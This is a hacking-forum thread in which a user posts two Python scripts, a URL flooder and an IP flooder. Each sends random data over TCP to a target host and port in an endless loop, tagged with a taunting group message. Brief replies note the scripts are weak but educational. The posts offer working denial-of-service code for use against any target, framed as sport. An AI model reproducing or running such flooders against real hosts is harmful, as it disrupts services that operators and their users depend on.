Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (1)

Powered by Vanilla. Made with Bootstrap.
Floodz
  • chroniccommand
    Posts: 1,389
    Hey here are two simple python scripts that use IP's//URL's to flood using TCP sockets.

    URL flooder:

    #!/usr/bin/env python
    '''
    Simple flooder to flood URL's
    Uses TCP sockets and urllib
    Author: chroniccommand
    '''
    from socket import *
    import urllib2, sys, random
    if len(sys.argv) != 3:
    print(\"Usage: %s <url> <port>\" % sys.argv[0])
    else:
    s = socket(AF_INET, SOCK_STREAM)
    host = sys.argv[1]
    port = int(sys.argv[2])
    sockhost1 = host.strip('http://')
    sockhost = gethostbyname(sockhost1)
    longshit = random._urandom(1024)
    fuckmsg = \"Fuxed by Poison team\"
    print sockhost
    i = 1
    s.connect((sockhost,port))
    while(1):
    urllib2.urlopen(host)
    s.send(longshit * 200)
    s.send(fuckmsg)
    print(\"Fuxed x%d\" % i)
    i += 1

    Just change the fuckmsg if you'd like to.

    IP flooder:

    '''
    Simple flooder to flood IP's
    Uses TCP sockets
    Author: Chroniccommand
    '''
    from socket import *
    import sys, random
    if len(sys.argv) != 4:
    print(\"Usage: %s <host> <port> <bytes>\" % sys.argv[0])
    print(\"Bytes is how many random bytes to send\")
    else:
    s = socket(AF_INET, SOCK_STREAM)
    host = sys.argv[1]
    port = int(sys.argv[2])
    fuckmsg = \"Fuxed by Poison team\"
    longshit = random._urandom(int(sys.argv[3]))
    i = 1
    s.connect((host, port))
    while(1):
    s.send(longshit * 200)
    s.send(fuckmsg)
    print(\"Fuxed x%d\" % i)
    i += 1


    I prefer the IP flooder but that's just me. Also change the fuckmsg on the IP flooder.

    --chroniccommand
  • Xin
    Posts: 3,251
    Nice although inreality it wont do much damage :) but nice to learn from
    Xin
  • chroniccommand
    Posts: 1,389
    said:


    Nice although inreality it wont do much damage :) but nice to learn from



    Most likely not unless the server sucks lol. And yea it teaches some things about sockets, random and urllib2.